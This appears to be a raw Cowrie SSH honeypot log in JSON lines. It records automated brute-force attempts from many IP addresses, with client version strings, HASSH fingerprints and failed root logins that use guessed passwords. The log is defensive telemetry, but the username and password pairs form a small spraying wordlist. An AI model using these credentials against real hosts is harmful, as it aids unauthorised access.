{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:20:26.516635Z","src_ip":"176.32.39.21","session":"29750b74357f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"njhvjp","message":"login attempt [root/njhvjp] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:20:26.891795Z","src_ip":"176.32.39.21","session":"29750b74357f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:20:28.009734Z","src_ip":"176.32.39.21","session":"29750b74357f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"77.237.244.154","src_port":34126,"dst_ip":"10.17.0.5","dst_port":22,"session":"e49527261206","protocol":"ssh","message":"New connection: 77.237.244.154:34126 (10.17.0.5:22) [session: e49527261206]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:20:33.645274Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:20:33.649552Z","src_ip":"77.237.244.154","session":"e49527261206","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:20:33.740504Z","src_ip":"77.237.244.154","session":"e49527261206","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"arweave","password":"arweave123","message":"login attempt [arweave/arweave123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:20:34.016319Z","src_ip":"77.237.244.154","session":"e49527261206","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:20:35.110588Z","src_ip":"77.237.244.154","session":"e49527261206","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.132.16","src_port":36874,"dst_ip":"10.17.0.5","dst_port":22,"session":"2350bce84433","protocol":"ssh","message":"New connection: 103.82.132.16:36874 (10.17.0.5:22) [session: 2350bce84433]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:20:36.161632Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:20:36.164557Z","src_ip":"103.82.132.16","session":"2350bce84433","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:20:36.422340Z","src_ip":"103.82.132.16","session":"2350bce84433","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"110394","message":"login attempt [root/110394] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:20:37.225749Z","src_ip":"103.82.132.16","session":"2350bce84433","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:20:38.486981Z","src_ip":"103.82.132.16","session":"2350bce84433","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.199.80","src_port":15328,"dst_ip":"159.203.135.109","dst_port":22,"session":"7c5892353fe1","protocol":"ssh","message":"New connection: 147.45.199.80:15328 (159.203.135.109:22) [session: 7c5892353fe1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:20:43.288624Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:20:43.292701Z","src_ip":"147.45.199.80","session":"7c5892353fe1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:20:43.394364Z","src_ip":"147.45.199.80","session":"7c5892353fe1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qw1er2ty3","message":"login attempt [root/qw1er2ty3] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:20:43.696460Z","src_ip":"147.45.199.80","session":"7c5892353fe1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:20:44.794463Z","src_ip":"147.45.199.80","session":"7c5892353fe1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.88.42.180","src_port":58534,"dst_ip":"10.17.0.5","dst_port":22,"session":"52eb50d7928d","protocol":"ssh","message":"New connection: 23.88.42.180:58534 (10.17.0.5:22) [session: 52eb50d7928d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:20:48.957189Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:20:48.963206Z","src_ip":"23.88.42.180","session":"52eb50d7928d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"49.231.182.3","src_port":48806,"dst_ip":"10.17.0.5","dst_port":22,"session":"3e9aa595745a","protocol":"ssh","message":"New connection: 49.231.182.3:48806 (10.17.0.5:22) [session: 3e9aa595745a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:20:49.050433Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:20:49.053917Z","src_ip":"49.231.182.3","session":"3e9aa595745a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:20:49.059372Z","src_ip":"23.88.42.180","session":"52eb50d7928d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:20:49.330189Z","src_ip":"49.231.182.3","session":"3e9aa595745a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1CX!Tr0ng#P@ss","message":"login attempt [root/1CX!Tr0ng#P@ss] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:20:49.348924Z","src_ip":"23.88.42.180","session":"52eb50d7928d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"unitedstates2025!!","message":"login attempt [root/unitedstates2025!!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:20:50.159978Z","src_ip":"49.231.182.3","session":"3e9aa595745a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:20:50.447123Z","src_ip":"23.88.42.180","session":"52eb50d7928d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:20:51.442270Z","src_ip":"49.231.182.3","session":"3e9aa595745a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"173.255.225.25","src_port":15218,"dst_ip":"159.203.135.109","dst_port":22,"session":"c9ffc465b6a6","protocol":"ssh","message":"New connection: 173.255.225.25:15218 (159.203.135.109:22) [session: c9ffc465b6a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:21:16.737434Z"}
{"eventid":"cowrie.client.version","version":"GET / HTTP/1.1","message":"Remote SSH version: GET / HTTP/1.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:21:16.741048Z","src_ip":"173.255.225.25","session":"c9ffc465b6a6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:21:16.743684Z","src_ip":"173.255.225.25","session":"c9ffc465b6a6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"173.255.225.25","src_port":15228,"dst_ip":"159.203.135.109","dst_port":22,"session":"6f43e7d3a2ac","protocol":"ssh","message":"New connection: 173.255.225.25:15228 (159.203.135.109:22) [session: 6f43e7d3a2ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:21:16.748052Z"}
{"eventid":"cowrie.client.version","version":"\u0016\u0003\u0001\u0000{\u0001\u0000\u0000w\u0003\u0003Jv\\x9c0ez\\xb7B\\xf0\\xb8\\xf3\\xe1S\\xdd]\\xdc\b\u7d30\u0013\\x966\u0012\\xc3#\" \\x8a\\xb2\\x93\\xed\u0000\u0000\u001a\\xc0/\\xc0+\\xc0\u0011\\xc0\u0007\\xc0\u0013\\xc0\t\\xc0\u0014\\xc0","message":"Remote SSH version: \u0016\u0003\u0001\u0000{\u0001\u0000\u0000w\u0003\u0003Jv\\x9c0ez\\xb7B\\xf0\\xb8\\xf3\\xe1S\\xdd]\\xdc\b\u7d30\u0013\\x966\u0012\\xc3#\" \\x8a\\xb2\\x93\\xed\u0000\u0000\u001a\\xc0/\\xc0+\\xc0\u0011\\xc0\u0007\\xc0\u0013\\xc0\t\\xc0\u0014\\xc0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:21:16.751646Z","src_ip":"173.255.225.25","session":"6f43e7d3a2ac","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:21:16.754446Z","src_ip":"173.255.225.25","session":"6f43e7d3a2ac","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.192.144.204","src_port":33178,"dst_ip":"10.17.0.5","dst_port":22,"session":"d74611690e42","protocol":"ssh","message":"New connection: 159.192.144.204:33178 (10.17.0.5:22) [session: d74611690e42]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:21:19.156322Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:21:19.160480Z","src_ip":"159.192.144.204","session":"d74611690e42","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:21:19.423519Z","src_ip":"159.192.144.204","session":"d74611690e42","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"unitedstates2025!!!","message":"login attempt [root/unitedstates2025!!!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:21:20.214599Z","src_ip":"159.192.144.204","session":"d74611690e42","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:21:21.480808Z","src_ip":"159.192.144.204","session":"d74611690e42","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"85.215.121.209","src_port":51326,"dst_ip":"10.17.0.5","dst_port":22,"session":"24ef642781d3","protocol":"ssh","message":"New connection: 85.215.121.209:51326 (10.17.0.5:22) [session: 24ef642781d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:21:42.414510Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:21:42.418073Z","src_ip":"85.215.121.209","session":"24ef642781d3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:21:42.515403Z","src_ip":"85.215.121.209","session":"24ef642781d3","protocol":"ssh"}
